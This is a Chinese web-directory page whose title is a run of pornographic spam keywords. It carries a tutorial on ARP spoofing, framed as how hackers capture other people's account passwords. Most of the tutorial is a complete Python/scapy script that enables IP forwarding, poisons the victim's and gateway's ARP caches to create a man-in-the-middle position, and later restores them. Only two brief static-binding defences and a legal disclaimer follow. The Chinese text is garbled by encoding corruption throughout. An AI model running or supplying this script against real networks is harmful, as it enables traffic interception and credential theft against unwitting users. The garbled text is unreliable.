日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網(wǎng)為廣大站長(zhǎng)提供免費(fèi)收錄網(wǎng)站服務(wù),提交前請(qǐng)做好本站友鏈:【 網(wǎng)站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(wù)(50元/站),

點(diǎn)擊這里在線咨詢(xún)客服
新站提交
  • 網(wǎng)站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會(huì)員:747

我們經(jīng)常在電影中看到黑客能夠輕松獲取到別人的賬號(hào)密碼信息,那么現(xiàn)實(shí)中真的這么容易嗎?今天我來(lái)帶大家了解一下黑客是如何獲取到別人的賬號(hào)和密碼信息的。

在網(wǎng)路中獲取別人的賬號(hào)密碼其實(shí)不難,最簡(jiǎn)單的就是數(shù)據(jù)監(jiān)聽(tīng)或釣魚(yú),那么如何進(jìn)行網(wǎng)絡(luò)數(shù)據(jù)監(jiān)聽(tīng)呢?arp欺騙可以實(shí)現(xiàn),他能進(jìn)行DNS欺騙和網(wǎng)絡(luò)釣魚(yú)的基礎(chǔ),通過(guò)arp欺騙我們成為了中間人,對(duì)別人電腦的通訊數(shù)據(jù)截取和偽造修改,下面我們來(lái)詳細(xì)講解一下arp欺騙。

▊ 什么是ARP欺騙

這是一種技術(shù),攻擊者可以通過(guò)該技術(shù)將欺騙性的ARP數(shù)據(jù)包(虛假數(shù)據(jù)包)發(fā)送到網(wǎng)絡(luò)(或特定主機(jī))上,從而使攻擊者能夠即時(shí)攔截,更改或修改網(wǎng)絡(luò)流量。

用Python演示ARP攻擊的過(guò)程及應(yīng)對(duì)辦法

 

一旦您(作為攻擊者)成為中間人,您就可以截取或更改傳入或傳出受害者設(shè)備的所有網(wǎng)絡(luò)數(shù)據(jù)報(bào)文內(nèi)容。因此,在本教程中,我們將編寫(xiě)一個(gè)Python/ target=_blank class=infotextkey>Python腳本來(lái)做到這一點(diǎn)。

在常規(guī)網(wǎng)絡(luò)中,所有設(shè)備均正常地與網(wǎng)關(guān)通信,然后再與Inte.NET通信,如下圖所示:

用Python演示ARP攻擊的過(guò)程及應(yīng)對(duì)辦法

 

現(xiàn)在,攻擊者需要將ARP響應(yīng)發(fā)送到兩個(gè)主機(jī):

向網(wǎng)關(guān)發(fā)送ARP響應(yīng),說(shuō)“我有受害者的IP地址”。

向受害者發(fā)送ARP響應(yīng),說(shuō)“我有網(wǎng)關(guān)的IP地址”。

用Python演示ARP攻擊的過(guò)程及應(yīng)對(duì)辦法

 

一旦攻擊者如上圖所示執(zhí)行ARP Spoof攻擊,他/她將處于中間人的情況:

用Python演示ARP攻擊的過(guò)程及應(yīng)對(duì)辦法

 

一旦受害者發(fā)送了任何數(shù)據(jù)包(例如HTTP請(qǐng)求),它將首先傳遞到攻擊者的計(jì)算機(jī),然后將數(shù)據(jù)包轉(zhuǎn)發(fā)到網(wǎng)關(guān),因此您可能會(huì)注意到,受害者對(duì)此一無(wú)所知,換句話說(shuō),他/她將無(wú)法弄清楚自己正在受到攻擊。

▊ 實(shí)戰(zhàn)演示

好了,理論說(shuō)完了!在開(kāi)始之前,您需要安裝所需的庫(kù):

pip3 install scapy

如果您使用的是windows,請(qǐng)查看本教程以使Scapy在您的計(jì)算機(jī)上正常工作。此外,您需要安裝pywin32,如下所示:

pip3 install pywin32

編寫(xiě)Python腳本

首先,我們需要導(dǎo)入必要的模塊:

from scapy.all import Ether, ARP, srp, send
import argparseimport timeimport osimport sys

首先,我需要提到我們需要啟用IP路由(即IP轉(zhuǎn)發(fā))。

在多種平臺(tái)上啟用IP路由的方法有很多,但是,我在這里制作了一個(gè)python模塊,供您在Windows中啟用IP路由。

對(duì)于類(lèi)Unix用戶(hù)(本教程建議的平臺(tái)),您所需要做的就是編輯文件“ / proc / sys / net / ipv4 / ip_forward” ,該文件需要root用戶(hù)訪問(wèn)權(quán),并將值1表示已啟用,或者使用以下python代碼:

def _enable_linux_iproute():
    """
    Enables IP route ( IP Forward ) in linux-based distro
    """
    file_path = "/proc/sys/net/ipv4/ip_forward"
    with open(file_path) as f:
        if f.read() == 1:
            # already enabled
            return
    with open(file_path, "w") as f:
        print(1, file=f)

對(duì)于Windows用戶(hù),復(fù)制 services.py到當(dāng)前目錄后,代碼如下:

def _enable_windows_iproute():
    """
    Enables IP route (IP Forwarding) in Windows
    """
    from services import WService
    # enable Remote Access service
    service = WService("RemoteAccess")
    service.start()

好了,我們把以上代碼合起來(lái),這樣兼容windows和類(lèi)Unix系統(tǒng)的所有平臺(tái):

def enable_ip_route(verbose=True):
    """
    Enables IP forwarding
    """
    if verbose:
        print("[!] Enabling IP Routing...")
    _enable_windows_iproute() if "nt" in os.name else _enable_linux_iproute()
    if verbose:
        print("[!] IP Routing enabled.")

首先,我們需要一個(gè)實(shí)用程序功能,使我們能夠獲取網(wǎng)絡(luò)中任何計(jì)算機(jī)的mac地址,代碼如下:

def get_mac(ip):
    """
    Returns MAC address of any device connected to the network
    If ip is down, returns None instead
    """
    ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
    if ans:
        return ans[0][1].src

我們使用Scapy的srp()函數(shù)以數(shù)據(jù)包的形式發(fā)送請(qǐng)求,并不斷監(jiān)聽(tīng)響應(yīng),在這種情況下,我們正在發(fā)送ARP請(qǐng)求并監(jiān)聽(tīng)任何ARP響應(yīng)。

其次,我們將創(chuàng)建一個(gè)功能來(lái)完成本教程的核心工作,給定目標(biāo)IP地址和主機(jī)IP地址,它會(huì)更改目標(biāo)IP地址的ARP緩存,說(shuō)我們擁有主機(jī)的IP地址:

def spoof(target_ip, host_ip, verbose=True):
    """
    Spoofs `target_ip` saying that we are `host_ip`.
    it is accomplished by changing the ARP cache of the target (poisoning)
    """
    # get the mac address of the target
    target_mac = get_mac(target_ip)
    # craft the arp 'is-at' operation packet, in other words; an ARP response
    # we don't specify 'hwsrc' (source MAC address)
    # because by default, 'hwsrc' is the real MAC address of the sender (ours)
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
    # send the packet
    # verbose = 0 means that we send the packet without printing any thing
    send(arp_response, verbose=0)
    if verbose:
        # get the MAC address of the default interface we are using
        self_mac = ARP().hwsrc
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))

上面的代碼獲取目標(biāo)的MAC地址,制作惡意ARP應(yīng)答(響應(yīng))數(shù)據(jù)包,然后將其發(fā)送。

一旦我們想停止攻擊,就需要將真實(shí)地址重新分配給目標(biāo)設(shè)備(以及網(wǎng)關(guān)),如果不這樣做,受害者將失去互聯(lián)網(wǎng)連接,那么受害人就會(huì)發(fā)現(xiàn)異常了,通常的做法就是我們將依次發(fā)送七個(gè)合法的ARP回復(fù)數(shù)據(jù)包,代碼如下:

def restore(target_ip, host_ip, verbose=True):
    """
    Restores the normal process of a regular network
    This is done by sending the original informations 
    (real IP and MAC of `host_ip` ) to `target_ip`
    """
    # get the real MAC address of target
    target_mac = get_mac(target_ip)
    # get the real MAC address of spoofed (gateway, i.e router)
    host_mac = get_mac(host_ip)
    # crafting the restoring packet
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
    # sending the restoring packet
    # to restore the network to its normal process
    # we send each reply seven times for a good measure (count=7)
    send(arp_response, verbose=0, count=7)
    if verbose:
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))

現(xiàn)在我們需要編寫(xiě)主要的代碼,欺騙受害主機(jī)直到按下CTRL + C,代碼如下:

if __name__ == "__main__":
    # victim ip address
    target = "192.168.1.100"
    # gateway ip address
    host = "192.168.1.1"
    # print progress to the screen
    verbose = True
    # enable ip forwarding
    enable_ip_route()
    try:
        while True:
            # telling the `target` that we are the `host`
            spoof(target, host, verbose)
            # telling the `host` that we are the `target`
            spoof(host, target, verbose)
            # sleep for one second
            time.sleep(1)
    except KeyboardInterrupt:
        print("[!] Detected CTRL+C ! restoring the network, please wait...")
        restore(target, host)
        restore(host, target)

我在Linux機(jī)器上運(yùn)行了腳本,這是我的結(jié)果的屏幕截圖:

用Python演示ARP攻擊的過(guò)程及應(yīng)對(duì)辦法

 

在此示例中,如果您嘗試檢查ARP緩存,確定將我的個(gè)人計(jì)算機(jī)用作受害者:

用Python演示ARP攻擊的過(guò)程及應(yīng)對(duì)辦法

 

您將看到攻擊者的MAC地址(在本例中為“ 192.168.1.105”)與網(wǎng)關(guān)的相同,欺騙成功了。

在攻擊者的計(jì)算機(jī)上,當(dāng)您單擊CTRL + C關(guān)閉程序時(shí),以下是還原過(guò)程的屏幕截圖:

用Python演示ARP攻擊的過(guò)程及應(yīng)對(duì)辦法

 

回到受害者機(jī)器,您將看到網(wǎng)關(guān)的原始MAC地址已還原:

用Python演示ARP攻擊的過(guò)程及應(yīng)對(duì)辦法

 

▊ 如何應(yīng)對(duì)攻擊

攻擊成功后,攻擊者還可以做很多的事情。例如,您可以在html響應(yīng)中注入JAVAscript代碼,對(duì)目標(biāo)進(jìn)行DNS欺騙,攔截文件并即時(shí)對(duì)其進(jìn)行修改,網(wǎng)絡(luò)嗅探和監(jiān)視、釣魚(yú)等等。

那么如何組織arp攻擊呢?

★、關(guān)閉路由器的dhcp功能,添加ip地址與mac地址靜態(tài)綁定功能。

用Python演示ARP攻擊的過(guò)程及應(yīng)對(duì)辦法

 

★、本地添加網(wǎng)關(guān)的ip地址與mac地址靜態(tài)綁定。

用Python演示ARP攻擊的過(guò)程及應(yīng)對(duì)辦法

 

這就是arp欺騙的python用法及應(yīng)對(duì)辦法,本文旨在解密攻擊原理與過(guò)程及應(yīng)對(duì)辦法,請(qǐng)勿用作其他非法用途。

關(guān)注我,每天更新一篇技術(shù)好文,下一節(jié)我將揭秘一下python中的dns欺騙的過(guò)程。

分享到:
標(biāo)簽:攻擊 ARP
用戶(hù)無(wú)頭像

網(wǎng)友整理

注冊(cè)時(shí)間:

網(wǎng)站:5 個(gè)   小程序:0 個(gè)  文章:12 篇

  • 51998

    網(wǎng)站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會(huì)員

趕快注冊(cè)賬號(hào),推廣您的網(wǎng)站吧!
最新入駐小程序

數(shù)獨(dú)大挑戰(zhàn)2018-06-03

數(shù)獨(dú)一種數(shù)學(xué)游戲,玩家需要根據(jù)9

答題星2018-06-03

您可以通過(guò)答題星輕松地創(chuàng)建試卷

全階人生考試2018-06-03

各種考試題,題庫(kù),初中,高中,大學(xué)四六

運(yùn)動(dòng)步數(shù)有氧達(dá)人2018-06-03

記錄運(yùn)動(dòng)步數(shù),積累氧氣值。還可偷

每日養(yǎng)生app2018-06-03

每日養(yǎng)生,天天健康

體育訓(xùn)練成績(jī)?cè)u(píng)定2018-06-03

通用課目體育訓(xùn)練成績(jī)?cè)u(píng)定